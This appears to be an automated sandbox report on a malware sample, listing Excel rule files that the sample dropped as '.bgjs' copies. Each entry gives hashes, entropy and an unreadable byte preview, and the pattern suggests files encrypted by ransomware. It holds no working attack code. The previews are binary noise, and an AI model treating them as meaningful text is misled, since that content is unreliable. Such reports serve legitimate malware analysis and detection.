Preview:	<?xml..K.....-....~.R...L.P_.q...P.^..2u.y..2.2......gb.8S....x...9a.;]-..crY.Ww....:.....Y.J....@...}w..r..Y.f&.7.B@6.k2'......{=R3>.SYo..D3.h... .........1/...&s.7%nq..$k.{.B..SK..[..!6..$..h.#Hv..c.s...I..VGB...bE.O..f7..+...+...}.#e...-_m2..CD....!..[.x.....PpF..."=..t...].U.)..V.WZ.7(.P=.x.h....NW..0.B....$7....>>!.~7% .z{.&2..T.[Q.6]..`.L.?Q.....=..;=&q...0...C..Jx...ZX.K....J..g.~.I.@...w...TE...K.....<.(.d. .......L.2.=99...D;EzX.$....<.....#4>$Kn...D<.-..n4f.{..(:.k.#.....+.y.q.1..A.N..Q.}X[.$..,.n\......I.....\.l.....q.......Mp..0.D>.."!.1.P...J'...."..)k.LcMre.]..:.a]...>kpJ......Q...`B.[...+ICbU..p..7...Q..6<........o....[....OVc.......c.9.U#^.[...;OR.Z.a.4.`5..Y......&a1.....W..Z.0Rh>.1...G..XM.i."...f..4......6.f..M0a.Wz...e~fbU#..X..b.....i.=..!. \|{%.AE ..k....ks.@..d.~...../#.l.J.y.....4e....TY.Y...&.6.\......wx...v@).(..*7x..rc1J#.5.......\..../..g.P.sj1T.r.8....u..x..u..qXE>50.a.,q...l.P4R.)=[![P.....bO0{..~a.\zd.}.s~I...%.A.V

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170016v7.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	2111
Entropy (8bit):	7.912488712862312
Encrypted:	false
SSDEEP:	48:IE7LTlRLFVB/N2O+JuoM1T0Us7qmqaYe0J9FiBoItyOAewY77D:IiLTlN3BlboulWUGqmqaYbFCFw4w+3
MD5:	0840AF14BD31832E1914EACE1EECBCB7
SHA1:	BCA69F6DC88349EF2F635A9576533E49E94126EF
SHA-256:	BE554D738150845812D332947FB9F4313815838D67A5890EDF2D10122CD152AD
SHA-512:	BFF0ACB1779F42652FBE6732C2E180DF5954B495683A93C4B0B865E0DE5E5480856358E8ABE07AAF99209EC29F3A69BB65BA1EC73C1CFAAD24F035B14DBB5E10
Malicious:	false
Preview:	<?xml..u.4..#j....<;.G....G....G`.....W.... S.LEg..R.,.j^nk..J...uH.!8...h..a.y..K.<..2]D....o.~....W..b...=.Ep.3O...N.~h.E.{w.<....h...;...........-.....D...s.6?.......gi.....s.Cbj.D%T.R vlI.;DG.Gg..G.T.t.}...-.tu....a....m...)_..gh.l1.OtL...Dv...MG.-..e..s=..i...7w...Nk.m"........RA...u.f...P<.._.Ue..{u'ueW......(.5..(./.l...y..l..KK.j.b.\a^k@b...2..~GE.,@.+...Z.8-.n.$.........2.8.c...........X....~.nth2S....4.{.Db..T_(.tl..>AU.....1.N.KWiC...^N..j.!6x.yX_i..T.1.\|..3U.....5......8I%-.I..........V.\|.ie2.........cW)....=.....l.L......t..L.?.....z..X]...NM.4...t~wGf.=gx.<.&aDK....@./..J........{f`/.<......O...AS?..P....C.\..+.........8Y...s.\.[...y%6.l...y&)p....XI.". ....m...@.....q.\g{.+..R......,2..`U.V..s.3..#K.i]<...p.....XE...<`x...-L<j..............J..\|.......].....!.....!.!.X.w*0.Yj.[..B.F...Q.[...IM.f.6.o. ..z....D...V.....V..1.J...=i]..K.II.B.o..?l(...%.O."....%[..sz.[.D........N...Q.....Zp.sY)....mr{#.UTD.z.CU..A...^~

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170019v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.879418507479385
Encrypted:	false
SSDEEP:	48:sqAsDq4ATXPOZTCSrrmlysi5rL9dU8V0kGXhfg0aRujxsSVyyh8D:siH87Srm85rLo1kag0aRujxsSQ/
MD5:	BFC44369885321CE74CDFA6FD0D79073
SHA1:	7FE2481A3667538B34DF288A2C2C75DB4AC20BEB
SHA-256:	12AA47265D9F9F221D24B68E945635E58C8EC4CEF04A39F48B9FBFEB4F93D0E1
SHA-512:	8F87DE798AE1FC4202D59F28FB1E20A17CC99618C03F15CFBB2F2A261DFE15527C15578B7141562964682EBFDBB32D711D1756DBD43E9BE088A4804F026B411C
Malicious:	false
Preview:	<?xml4G...9...^.1k.,..s..4..w....V..g.c.5A...a.].S..{`.$.U{......]...OE-w.s#.7u..b~.Hz._..T...5...H."..<..8G..d.....FUM.....9...-.M.....{......s.q..D...>..u.k\.Vx.dz-+.$..=..f..cBgT#V..rR5...fW......ox...H...x.?.(b...J-.w......iB.L=F.7..H%D.....x...ek......S5..o?D...G.D...k..Q........k..b..}\|...[.?A/ts2....d.O....r.F..4`.3..E..n.ay K...R.p.{u.dE...8.}.$.e..(..n.......H...e..L.Zz.......q<....x.._.....$p..D."..T$....-.P..C....}....plE.7...@4....?..GL...0....S...Q....@."o..._Z.T.xq.<......:L .S....N..2.wH5....Fn....^....n.........4.d.W:a..DG<7..8..v...B....3+.~...0.7.....2...{...^bWk?.v..]...u6..!M..$/xs..c.9...e..m....X..R.N.m..x..NyniRa]V...~....C.q.u.{....Z.T..Oz.~..,..U...W."H.).3...a........M..s....K..Y.u^z..X..Y........K(\.y..]....... r9...Z..G.j.I5Y........3........G...!,E...n.@..}.N..7..`2..x..H...H....t...g...<m....NG. .=.....n..S....v...!LM)..(.......e.*c.?.&\|.......iy77 ....j...'..#.. o\|.G..5..4V....j...8 ....}.#...;.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170021v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	7.776199276881583
Encrypted:	false
SSDEEP:	12:WRfi36O9OTIvrfDcrJZWciVLCqolPKJFUaeneBKDHozB8r+0pxt6siPQDZJdu1L+:WRfvO9tziiVQCeOAykOVPCeRObD
MD5:	45DFE55595E3EEF4754454B29FC15BC5
SHA1:	39FDB7E99C7688803C3BB930A21BF38B34CC7815
SHA-256:	56F63494F58AFD1EF3B0E96B0C4B3243C6F780914132E802CE59C9DDF890FC3C
SHA-512:	7A142423D792A159309D4CF00B0EE8FA0A04C5D0535CBCAE885BC8C3A9AD066E9212B5AB799634A95C1E2916B6CE29778642BDB1A19CB30D7ABB6A74E08C548D
Malicious:	false
Preview:	<?xml.Tf..URv.. .J.'.X..)...z;.4..$!.Y^?J#.?p....^$vB{.t...G....M..... ....>...h...w....b.l......q.m.....u......2.."'..4...Y=..sK;Q.[U:..Uf#@..{wT..?z.........;=.N..r[....Y.{f...........4.L...&b.....I@..oq...Km.8..;...t<..PIH../...."......).ojl.{...1e.N.X..7..7..L.......P.#=..0!...RP...e(..[1._..L..Oh.6BS.G.3....E.V.v...L.n8a.}<f..!.....L....e...{..t.2?...u]....w..Q7s\..x..V..T..3.6..%.+.X.f.~......Z..{.3..4Q...x...._@..NR..fpJ. ....f.;x.......@....m..Ps^..e..@...I...2.2B.z....-._...1V[,....~F..WX.8P2.<..d.}.0....F@S@9.s....8.....E..s.N....j....c^f..g.o.../.#....9Lr...!...;..n.....I.El?PV._...q...m[......}....g..C.\|]..".a..G............mO.=z.1.U../T.u..O.b..%.....@....c.......#..\|...\......&4.....lx).$.V3..B...zU..5...!Z....N.Es.G...r...s..c.V..k.x..f.UvB8Kj~<c......1"....F........Q.V=.Q.Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170022v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	7.790938224907669
Encrypted:	false
SSDEEP:	24:EtlLDDzJHfq5Kqx+cuuagGXXAuUTLzF6DX3ik1ObD:ylLXN/qdpukGXXAuOkTSjD
MD5:	F85DF7742A03CAC448CC53C06ED8CDB4
SHA1:	0CB7016493D12E6587921D8BE38565920DCED7D8
SHA-256:	91474E3008150F9176AB04BB4E67AA92823B3B0A6A338CFE993A8460833A84C8
SHA-512:	9A7401291CD7E23B5091CC96E193700428A053AB7BA941F16C63ABC32F5883A2AEE87AE10C4F1DD4CC7393CC47D1EAC5B55CD6BA94D0E085C4600C6724D7D915
Malicious:	false
Preview:	<?xml.FK.E3.\|.C...Y.d..6HZ\|.V..)v.I>.)...3..D.r..Wfr....h.9.B.6.E..[r<.%..6....vb\|;...K.e.....PP...oH2.ZT..9p.....a.pTI...tK...,...K..V.3A.P..g..z.L...E......k.C.-...Df[16.O....K.#..V.#m..._.BQ.........k.^....t.E..I.3....... "!...u5...2....C....n3n...rz#..ONd8....7.J...H.Z.\W-2C..[TA>.......74....x.&.5.`...~..._..Q..8....w$Y....,^?..lZ{..RD..._.n....%K.D..#..Q.$..Y....)g.so.Q-..P.-;?:H......a....Lb....pI{....l.D1.i$pZI6....Xb...8u.6.(VR(.."..(.+m.<j.....F&.!0.n@.&g...9..#.EIW...H%.....V.~..0h....5..h`_.......7D >Q.aD.r..4u.1!oC.v.t[.....5g..=.v.I..1..G.....j.9..H..X..\|.w..._.+.a7.1....@..Py.....y.$,..q../.(.t.-..,{;...........W..h...."`.a.wi.......>.0O.sg.........\|...PB.u0.l.......mlE..P.. .G.x.....(k...I!7.j..>A.P=....=z:.r..0.7...z..Z........J..SI.7..;C).}$Z.)E.I. LDq..;.e.{Ez..<..)...f..G..fJ.......-.+.8.#..k...Z."[f....=]......'...T.I\=,H.=G..w<.Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170024v2.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	2312
Entropy (8bit):	7.930265902376501
Encrypted:	false
SSDEEP:	48:ZxH1YrSkPd+TBh8nnLlSSHZ9RNyrsUoLKzotWhmV9AwFupyuD:riead+SLbZ9DyYU1znkl6
MD5:	203E09E293D3CE91A1977904D10B0893
SHA1:	3D04E8997FAB93F22A7F5532A9396307E6514CD2
SHA-256:	6D17A0B01E12B485034DF9DA0238FAE683C38A91D252C41AB7197B9A28A546B6
SHA-512:	595E3C02A88196959BD8A04EA111EE89201E99F5E47F6CEF7F33C986DF785DA59965D2ADE6ED704F4207743291170462DEF7201334BF63A426EB279A45B19D94
Malicious:	false
Preview:	<?xml'.[W.....QM.Nyy..Z...{..#...j.;.b.0.Q._.d1.!f..A]^j p.}t.....+.E.....f...I..Uo.+.a...o......o.1.z1...\|.. ..a.&gs.....o......+.....N.F........+n.....SSu.Z..":.1._n)X.Y.n.7k....6...$...lO...p.N...2....$1.H.!.7.$j.Z.../.'W....c...,.].e ..e...jD?.....^t...lu....[Q.....=.V@....... .2....%c.R.).^cz.G..a.j.............k...a.o....\~.z.n8.9r.J.e....+....M.....?...C.8O./zd(....v%..;.S.i.wxx.... .....I.~MN...H..?...m.<k.cK...hW.Y....%.'\^.G...[.nQ...<.b.p..}y0..6.%\|G..O..]..P\|K.O...K..I.)..........;....sl.U-.O."l...3e........S.........."n.'<L.(.>."....E..f......2.[.....s.d_z....bt....{..X.............4..........=`.m..54....$....s..=.h.zf.<*.....Dq.. .....p..K....7..kz.6P..1.yN......h'.........QY.$.r^...R..=.^E.;...;.6&.@.8......> .+...84...G.......3=G%L..Oc..,....d.=(Vg.m..K.t%S....SY...r.....v+iI..<...9...`..+t0.........@...L.Pcr...}.>....9_..EsT..y.c...a..Id..nw.!..HA.D.j{\|r..X..d0"~....J.Dq.k.@.d.z5........I......N+_.P.(......c..tA......qr,`

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170026v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1731
Entropy (8bit):	7.882850214711775
Encrypted:	false
SSDEEP:	48:3GXSNij6VR/g0vO1S7zhQfs6KXjc+kW4qKoDE11BgRY9D:3wSNij6VVgQOI7zb6KXSxq6F
MD5:	110803414B405E14E4D934FA8825EFC4
SHA1:	224DD00122DA339A149993C73992DC19E84222EF
SHA-256:	58B9D0C58007886E2CE5A45220118E17148EBDA3E24F54D395B0058371F4D27C
SHA-512:	CC60FD4956C2FBDAF65E4348D595B5124A8474919576C51DC76FA73F6653DF61A23D756EA37E557650FB15544146B8ED2EC4E04A2C92A5BAB73B2E519CCAF03E
Malicious:	false
Preview:	<?xml@.].K.....a..!.......@.."q...A.o.^.\.\..N;(h...o.......xul>...>.....V5;.S..5......<,.@..^..!....r3.....+..,3..d....:$.I+AA0....C.kh...6...3.'...pk..F..Bd.h.FT.7.#.a-3({C....l.{..._...Kj.......u....l..\| ..^...@..hDP..;..1.Aa--.t.\)...Y.0.....Ah`.... A.k.N1fl....b...1p.*.e..+..l...oL..@Y].....G..k/Z9.....,...........w..X.....}..h..U...R]...3.%..7..3Pe.....O.5..[@Q.1.S...V.JD..I;.ZLY..j......Wz../......E.)Y.........r..A....Q...F.g......./........}..<+..jE{.E.O.x....9.t...N...z...;.mf....D4C.2dM...]....}...!.3.k...X..)m..R2...x"HZT_q...T..~I0...R.....,U.....9.fy#........`.6.......A..?.@..eim.B...-..RF.}.....{YLnF.F.....2.(_[".....3/.N.)..E.c ....&.......U...'.+...t.4%.-;E...........;.=.......-.7....z/=.`......Zr..J3..!../B....@.U..".C....(r..&@.J..3..+..nl...o9.+....I...j...4.7.]...A6'_.w..z...}s....c..Vxc....9E6Uj... ...j.f.,O..~W0N.c..Du.vY...=...y{.kca...E....3.bt..........g...H...a....a.<.....[@._.M`.....%BW......+n..yd.......

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170027v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	916
Entropy (8bit):	7.736630813038913
Encrypted:	false
SSDEEP:	24:UZxBAUYDWJ2NRPLHNi4D118pdKHEqhfdObD:UP5YDWJ2NRPL1D386FZCD
MD5:	1A03C7A5DF9E4E7750B375C05A2F5963
SHA1:	205459F2576648ED3EF9CD008541D37CCB7FB280
SHA-256:	6110E6C38BDD945910E74EE3CC6492D3CB9DE228BFE6E04A3960BDBE099E65CA
SHA-512:	76CC207F4F4C3FA39A5DA83F73B0760B8A6176B7584A6BCCAE31D73A7560DC42658C28DA07D0F32FEC4CA45E57BD11CB13EC270751AC3144A7119BDA7F1B40AE
Malicious:	false
Preview:	<?xml....J....p.<3... F..{..v..89v...).j...n....B..f..Q..Xz..\|q..g..3@...8f.. .7T......\.....'2.U........h.. .c......Lg.ct;.....#4...m!..T..I.W..uPI.H"u0.F;w..DE-..]w.x+C..-.....Z.7hX...W.=@..~..[.k...>...$.....y..np....U)^yCAp.o.`o.{2.Q......k..[K....,.:...j....@.\|.`...-.l.E).k..@=...C.Au......$..~..f._p.92....h.$/.j(......AB...\*~...NZ9l...6..'.x1.....yv.\...!..<.K..'.W@.TCM$......hk..[X...<m'0.....!...#^...9.....o%..fll.#........~qp.5...{.F.}...8s'@..4.o.a..[.ek.dZ...V..>o.........e@.Pp....{:....3.ks....0e.....I.,.......\|.....$.B....z.....>...............M.Ntr....(..1..i..z..5m.....Iz8...T.,#n..\.g./n..K....q.......J..>....@.M`.j.5q...-..b..X...\.u.b._,....k...E.1X$....q.`7.Ut.~4...QdE.mjv.......0(.N#......ip.8d...R....$A".U[u.g/..r.h.'.!H..[].Tn.}jlf...a.R$.].W.D``.W$e..43c.w..cA.....JZ6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170030v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	887
Entropy (8bit):	7.759283174046515
Encrypted:	false
SSDEEP:	24:7BFmNrCjxBBoJ990ni/cG3A16ge/2vlObD:7IrWxBQ9eipQNe+vqD
MD5:	2ABDEDC1D2EF946CBF4E55D7EBC64B13
SHA1:	591EA6098CC442136BD8555F83962478F1E3C74C
SHA-256:	03E77AF7BA17FA608A7DBBD38D075A82EEADD86B76091CF7291B740DB0698241
SHA-512:	5D436E197FD79D371B03C9DAD99E288CE599D4D5D7A21F933007CBDA87DDD53C7B8C787980B006727B27AE735D395FC694751D573E0528890F4635A95A1E769B
Malicious:	false
Preview:	<?xml.._.F.:..]....v..QGf..;.......v.#..\3.&>.\|_5.y.>)4.-.....1.Z...X.....V....?.1".s.3.1....h........./.[i... 'S.Tu.X..6.<..F.`....%.,:._ .;.j.>.....]9.O..f.j...k.......j).Rr+...lq..a=...Y..j....v........... .^..2.....~..G..Z....r..u..[..4~.._...9..z$....v..4......7..5E-......>.w!>o.}.s).U.....~V.L.u..j.A....D..n.ZVf.n.22...A..X.....&k...^g.V)PPL...f<..d..6AH......d.. 9.3.@...#S.J.T..w.pH..p...W3...Q.E.^'.QB....[.g?S.(..(7..9.%.....{d.Fy.#.8..'..y>r..?pYQ..<3.DK.a..Z# 4.'r...}#.#.=p..<C...J<......X...x..K.3,8....7..s<...<.Yu...../..\z.{l...,Va..t........u.......?!.)..B..Z4.q..U.h..*............'<.O.D<\..g.b.....Yj$....?{..y.a...C..l...J.K...i..)./T....sT...^..pAk!.%..6..k"..h..mZ.s^..?.JK...o8.>y.^He....G....c"{..._..\.)=@....$l.tt6.(/%.2.i... ..N..w..<.Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170032v2.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	975
Entropy (8bit):	7.766675992348225
Encrypted:	false
SSDEEP:	24:k+cXVNSSmhzO9c+ZD+hWLIapccUIyIRObD:k7VNSNVKZTLIap9lyND
MD5:	F7E5AF7CEDB0B3B6A5D12EC2DCE7A8F7
SHA1:	C31CBDF334B2A1F2973AB620EB6F465469C63F71
SHA-256:	EAC26D7AD4BA2ECADC94E0768A8EBFD136C7D06D4955CBA34384587F1688B7BD
SHA-512:	7B3DA9820E5B423B751450C105E156677805CFCA754090F78DFA3D97054350D79FD3C85E31894CC222A0DC15F38E96DA838C7B353E0F4A30D582F5FE21205A22
Malicious:	false
Preview:	<?xmlB.z.TEU.;.......b...1.-r.:....c..w..>P.O..pA..<h.9.f..C..B...R_..j...Pp+....Z.?d..-.>N..l.....x.m..g..j......}.8B...pm...j]....J.7.c..5;..Tj....I`..a..n]-.89.+S..WKv..J....tRZ...e0c..^d...A.-v.....:...rSV.R.c...W.@V5......nYt.\|T0:....]B@a...6.i....b..U+..u. ..7M.6.H......2.,:...D.r..l..p.k.D.9..PuF.....s.vI;...U......x.7;la[.@.._VB....d. !.V.AS.F.%T.K...8..3....'....-...\\!.1..u.$..X.3..-.9...Z.V$.07..M.E.Y.f..j...&^....4.[.a.#...[F..$..I^..7...7.W.k...SQ.n..:.h.y.h..G..~.:.u.......".+...vh.g.\.E`T:....... ..Q_R..un.9.A.5.Dd5...z$O..d..Q...Z.j.>s...M{..--B.v~8..Z..fI.-....1.U...HL....@...'n..T...C....5bW........H.pk.......f..w.8I....u{Kkw.g...;$p......~..k..J.t....s..3tv.o4. 7......O........p../..M.1..c......ji...B1`..9..L.1NF.h\..z....,....9..Z........,s..@.#...1.b.O....,.{O..[epI..{'.........M$......,KV.$J.,...0..Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170033v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	719
Entropy (8bit):	7.695677098429874
Encrypted:	false
SSDEEP:	12:Y7faee/QpOGRlONJUqTk59qKwLJDiKkqkB7hBGqfgosHvYUxZxlDivcqPHyjGl1p:mfe/Q7RlONCek5MrhpkFNOsgNX2bKjyP
MD5:	418D9B110E5FD14D9701BA0D39C09DF5
SHA1:	D7B1619A0354A16CF03CFAEF7CED3218E2DA5045
SHA-256:	4700EC06377D6DAD8567A14C6083C2F75902CC54AA8DCDBC3DA82B56E748293D
SHA-512:	622F88E47069D085FCE6738FE62316FBBC646509859DA001291A429155E1DA92F2A69E91B0DF72DC23C1486F6559D1E2FDAEBF5276765263545362DD0CF4E87E
Malicious:	false
Preview:	<?xml..x.F.X.y..R+..qD.b.UY%.$.~.1.?.....Xo...n...G.?\|.i{tZ7......k...v....^&.9lNr...0..l....U.Z.z.(..'C9q>/..!~..0....g8.x =./J.7......9..Z.^....._$v.[9>....2..YH...W...E/c..........._.@..e......S..^..}.4.....O.U...P...9...HD..!>^...w..=....2$ea.....u\|@.r..d.6".8C5..M..L.@a4V\|=.....~...\|...k`.&3..)i=..=..p-..M..E+>.`.r..Mr0...........v9..t:..Jgl..$..\...`.&..d~>\...0.t.4.>I9<>. .lk.s]j.......(.0.;...q!..C..n.W....@.K}!...........%yF^........;....l\|.....s.k......sG\.]E...a.$./[..!6if.......-JSp.;....2j`c....$..X.KT?..H$...;..,q-q6.7.L0..6$.......A...].\\.\|..ZK....L..5.I..+~v.T\|...../\.k.........Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170034v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	7.82233307045979
Encrypted:	false
SSDEEP:	24:Cqnb7bJ4Lvj+LsWAQzxtjcwHcWp1Y/HUTmp94nP7LgObD:CC7bsesFQzPY0Jp1Y/0Ta9eXTD
MD5:	2D8520AE666BAD61F84C089232C09A96
SHA1:	19B833EB1CE9C1862324C2902BDC7757991ED6FD
SHA-256:	9FD97ACD89BBEBB5ECCD1173EDCE111557C804C367067B83AF8DD8A421D5B39D
SHA-512:	81A0ADE9967EDE1C92A40C7CE7C1F810CB5368BE99F7547013BCA4FC6E2E093286BB0F9838D06062488351191BF52B93296CDDAED124DFAEA85ACB7B0E534F5A
Malicious:	false
Preview:	<?xmlP.m."...7...G.B.....~z.>....W{.......K#..:Ri6>..XZ@./...$.@J.......6..q8.vI....&<.56.b.~.V...cN.<Q..h......^~...E.]v...).:...P;fL..C.v^P..5......Q{c'.M"V._.h.J...?.HA..).kG...dk..f....P...M....Y...3...t..s......l6E.z..K.> `Q.9c.. c..bm....{...O..:.%0.........:...,z..#t; .7g.q.RS...C.;9Ps....}..n..1.......&.a.dIn.k...S..Z......!jOf<..U.9.M.ewh+3......3^C... %..D..4I.\.JW.g..7..;..x.C1.A.....}....Q...7>A....'M!.......]..z._.o..q..?.!..iH.....{.b..QCa....b.X..7.......0l...,B:..(...... .Wa.#.._*hu.Q...[;/U....).b.c..\|..9..t.Th...V.m....B..}.:E...Ux.eS...p.K.ua:L....fi..U.~~..@.]h....fn...8...z...Y4w...u..........G....b[.Y..(...%...F..:.......`.W.1.62.F....Q.....x..c...6..Ng......3..f.g.n...j3...U....Q.IV....(.\\......-...?..=d..Tp....".k.....au2.G..p...s..`....P...........@...P,..K.".d.,...C..p"9..._C.i....~._.Eu.%..E.II....z....b{..(k.\...F{;+.../U;..(../.6b..R.a...: ....!{..[.m!..$w.r.;.+.#Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170035v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1143
Entropy (8bit):	7.832443246150685
Encrypted:	false
SSDEEP:	24:/NtwvKaXxgLeaOMtHFSJyJyUrp3E3J5ihf8q8jmomObD:oBg9hHYJyQKZE3J5it8qyhJD
MD5:	D401379178CF09952C8814AD63F90308
SHA1:	ABB3B2FDEB9589DF896FD9CB0A0979E8D1EC90AC
SHA-256:	B9B21E5D051F95E0B95E3A5842A624BEED1B5E157CEFE1DD02C2BE0DDD53FD6A
SHA-512:	31317265544C9C3D6AE5A1A428D12F8E911265754EC925190C33E569F1F237EFB69A697F6AC668D89C0B366DE0E19DEB395CEF1E513661BF6C78350D92EB260E
Malicious:	false
Preview:	<?xml./.~....qc..x..+..L"..3f....3...3.Q...s.\..HT$.H}.+.......6...oQ..z.Z.!....._..n...N....d..n).py..A..........%`.k.W.....Q.".KU9n.69..M.D...Km.,Trd..h......a.....C....^0Z..9..V...$....-..+..=H.Y.=8...Eh...t.0.7l-...!....Wm.p..(2(..5..l..K...Ih....G_Joqp...Rp...lO...X.....S..V.n..&....0../..a...h..#...\...vG......^.....u.i]P..A.S.i..q..D..=4.W..H......o.-Mp. ...-.......b......3.4.(.+..va...3.....B..<{...u.,.\|..L.-` ......C..5gO....w..I.....\|.T..D.L..Q.V.S8=@..R..............._C..3=..\|YqkK..i..h.......m.F...6.....$..^./6..+.Vq.6fT......1......1........H+W7..R.&.,,f>e.c..b.W....?.m.....F..nn.s #4<.0.C....F.8.'.k..l.&es..F9.....c...X....!...X..}.b.w..K.a=..A}3..d...d....n1.. ....Z..F.n....0...).6......e.a...~..{M.Q..s...\|W..]=.X.y.y....\...Xy.zQ..I..\|._.D..6vh.&...@.....{.....3].....-.E4`_-.$.&..5..<......e.$.>..d&....F....}.RN.:.......s7+<...e..#?...-.j.n....V.u....%_$.1.z-B...0w.......*.\|.U.;.dC.......j.!..G.@.!.<0mz.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170037v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1503
Entropy (8bit):	7.868326989220565
Encrypted:	false
SSDEEP:	24:3QHKfPyIc8FJOUZ5+ZTppQFQyuTZ6CSLU2EiA8BbUOcBb20FCPNXDJWfo2H3Ld6L:AQN7q3pllZ6G2EM918FuNXqbQW8XD
MD5:	BF9F72B3D1DAF3DF2D4E33D0549EBF51
SHA1:	B657125A6B9698859F2F4143585C9B037D581013
SHA-256:	D0707A892C37EA778C1FF4B0E4FC9B734E92A4F048FFF1B262DD1122B9E6D479
SHA-512:	0AC5276E60448D1116BD3D70C6DE6A016B92B96303D07D8EBE29667B94407CFA2521D345DF25B517A161479940F6C851D763701BCF5562611F5D6AFEF1A5DB79
Malicious:	false
Preview:	<?xml..1S.....Y2~3.@./.i.X(.I...{.f..OoI..!j.1&...[......G....xe..Y.J...Dur....l.Q.7,.....m.7R..,...@.!].B.....I.7H.42h.m....F.U...Ct..=b.g...F./w...l ...E@.w{. .jW.......JI..,p....U)..x......Jh0......xt.`.....1q;.Q...@......E...J..... .?...C`...y.....(J....{..Nl.....~c...{.c/....T..N.8..Wb...$NI..{0. ..R..#.e$.3..._m0....Nl.P..E..g.N)v.z._d...g....0.dpHb.P<".55..........\.)zpE....Pw.#.f..(.!..E..Nn.....~..._.6..Y...t.. .s.].@.Ae....Y.....2..e....cP..S...7.<!.Jf\|.43sn.L..F..u).r.vZj$...;+$a.d..d...-..]....p...V.P.w.2.Mc8...cD.....aF.......\..=.B.].(C...k.L.84..(U.@J+=.q..Q{o.9u...o.......h.....`I]V0!.?.^.ub(..k.DH.NpX.b!^...5y.....(.m[l..[..K...2@.N7d......k..y4<.....".<.&X.>&9Q.6.*w.+..$..........'.`.[d<...-..z.4....{.w. ?G.>......h-_..z%....C.....b.\=...U.{i..!sU...v.x.j.m.U.C.)...[GL..nx....$4b..@..M.N......>.....i.Nf...%....mD...m..3.l.B.-HY.1oO.~.H....ix......L.w.....`tAu..3.(..".P."......d\|D5.a....2.GTE.......:......#....EjFSy`uB0

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170038v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1036
Entropy (8bit):	7.805761176999735
Encrypted:	false
SSDEEP:	12:lOQJzeaK02l7IkOjBo8TCEOiN9XpvqjHvTqpd8a/I/F1OhGx3rcaxLLvuOcii9a:gBPLO9IHiLXR+Hu8a/I/XprcaJWObD
MD5:	B26FDA853497213131BF6E30542C5306
SHA1:	EC8104BAB3628B66AF8998909595A34782887406
SHA-256:	49655911326438CA8DA27C2260F3B491B1A353EA9E235C1868FA94F7124A36F3
SHA-512:	6C7D90F5C7028D6C6279E1866D70DABCDCC5A43A6BC2FE26F0F07661A21000C93B1180C316F82638A9F28195243934293BED425E33929D8F4685E78FF4945D3C
Malicious:	false
